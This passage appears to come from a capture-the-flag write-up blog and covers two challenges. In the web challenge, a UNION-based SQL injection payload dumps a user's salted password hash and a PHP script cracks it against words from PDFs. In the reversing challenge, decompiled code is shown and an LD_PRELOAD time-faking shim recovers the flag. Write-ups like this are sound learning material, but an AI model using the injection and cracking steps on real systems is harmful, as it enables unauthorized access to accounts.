CREATE TABLE Users(
id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)
)

And then the admin record:

usr=' union select 1,(select id || '; ' || name || '; ' || password || '; ' || hint from Users limit 1)--&pw=
1; admin; 3fab54a50e770d830c0416df817567662a9dc85c; my fav word in my fav paper?!

So just scrape all the pdfs and look for the password

foreach(glob("pdfs/*.pdf") as $pdf){
  passthru("pdftotext $pdf");
  $txt = file_get_contents(substr($pdf, 0, -4) . ".txt");
  preg_match_all("@[^\n\r\t\s]+@", $txt, $m);
  foreach($m[0] as $l) {
    if (sha1($l."Salz!")=="3fab54a50e770d830c0416df817567662a9dc85c") {
      die($l);
    }
  }
}

Password is ThinJerboa, logging into admin.php give us the flag:

[su_box title=”FLAG” box_color=”#000000″]flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}[/su_box]

[/su_expand]

[su_box title=”(Rev) The Maya Society – by bykunte_ – 50 (+ 91)”]

Maya society was broken into a class structure with four main levels: the nobility (Maya almehenob), the priesthood (Maya ahkinob), the common people (Maya ah chembal uinieol), and the slaves (Maya ppencatob). The most powerful of the ruling elite was known as the halach uinic. The halach uinic are alive and still secretly hold meetings today. You have to reverse engineer their communication and infiltrate the ruling elite. Link

[/su_box]

[su_expand]

The webpage has a download button which provide a launcher file:

$ file launcher
launcher: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=464269c36073a8820e69146b00cc8e68d1f50718, stripped

loading with IDA give us

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  size_t v3; // rbx
  size_t v4; // rax
  size_t v6; // rax
  size_t v7; // rax
  __int64 v8; // rdi
  time_t timer; // [rsp+18h] [rbp-128h]
  char v10[8]; // [rsp+20h] [rbp-120h]
  char src; // [rsp+40h] [rbp-100h]
  char s; // [rsp+60h] [rbp-E0h]
  __int64 v13; // [rsp+C8h] [rbp-78h]
  char v14; // [rsp+D4h] [rbp-6Ch]
  char v15; // [rsp+DDh] [rbp-63h]
  char v16; // [rsp+E6h] [rbp-5Ah]
  char v17; // [rsp+EFh] [rbp-51h]
  void (__cdecl *v18)(__int64); // [rsp+F8h] [rbp-48h]
  __int64 v19; // [rsp+100h] [rbp-40h]
  char *v20; // [rsp+108h] [rbp-38h]
  char *dest; // [rsp+110h] [rbp-30h]
  int *v22; // [rsp+118h] [rbp-28h]
  size_t v23; // [rsp+120h] [rbp-20h]
  struct tm *tp; // [rsp+128h] [rbp-18h]

  strcpy(v10, ".fluxfingers.net");
  timer = time(0LL);
  tp = localtime(&timer);
  strftime(&s, 0x63uLL, "%Y-%m-%d", tp);
  v23 = strlen(&s);
  sub_B5A(&s, v23);
  v22 = &dword_2030B8;
  snprintf(
    &v17,
    9uLL,
    "%02x%02x%02x%02x",
    (unsigned __int8)dword_2030B8,
    BYTE1(dword_2030B8),
    BYTE2(dword_2030B8),
    HIBYTE(dword_2030B8));
  v22 = &dword_2030C0;
  snprintf(
    &v16,
    9uLL,
    "%02x%02x%02x%02x",
    (unsigned __int8)dword_2030C0,
    BYTE1(dword_2030C0),
    BYTE2(dword_2030C0),
    HIBYTE(dword_2030C0));
  v22 = &dword_2030B4;
  snprintf(
    &v15,
    9uLL,
    "%02x%02x%02x%02x",
    (unsigned __int8)dword_2030B4,
    BYTE1(dword_2030B4),
    BYTE2(dword_2030B4),
    HIBYTE(dword_2030B4));
  v22 = &dword_2030BC;
  snprintf(
    &v14,
    9uLL,
    "%02x%02x%02x%02x",
    (unsigned __int8)dword_2030BC,
    BYTE1(dword_2030BC),
    BYTE2(dword_2030BC),
    HIBYTE(dword_2030BC));
  snprintf(&src, 0x21uLL, "%s%s%s%s", &v17, &v16, &v15, &v14);
  v3 = strlen(&src);
  v4 = strlen(v10);
  dest = (char *)malloc(v3 + v4 + 1);
  if ( !dest )
    return 1LL;
  *dest = 0;
  strcat(dest, &src);
  strcat(dest, v10);
  v20 = (char *)sub_18A4(dest, v10);
  if ( !v20 )
    return 1LL;
  v6 = strlen(v20);
  v19 = sub_15E0(v20, v6, &v13);
  v7 = strlen(v20);
  v18 = (void (__cdecl *)(__int64))sub_15E0(v20, v7, &v13);
  if ( !v19 )
    return 1LL;
  v8 = v19;
  sub_1858(v19, v13, v18);
  v18(v8);
  return 0LL;
}

So this main file will do something starting from a string which create from current date, the original webpage contains © 2012 which hint us that this webpage is created in 2012, so i create a simple C file to use with LD_PRELOAD to fake the time:

#include <stdlib.h>
#include <stdio.h>
int time(int) {
  return atoi(getenv("CURR_TIME"));
}

and then just try every timestamp starting from 2012-01-01 will give us the password @ 2012-12-21:

$ CURR_TIME=1356066000 LD_PRELOAD=$(pwd)/fake.so ./launcher
flag{e3a03c6f3fe91b40eaa8e71b41f0db12}

[/su_expand]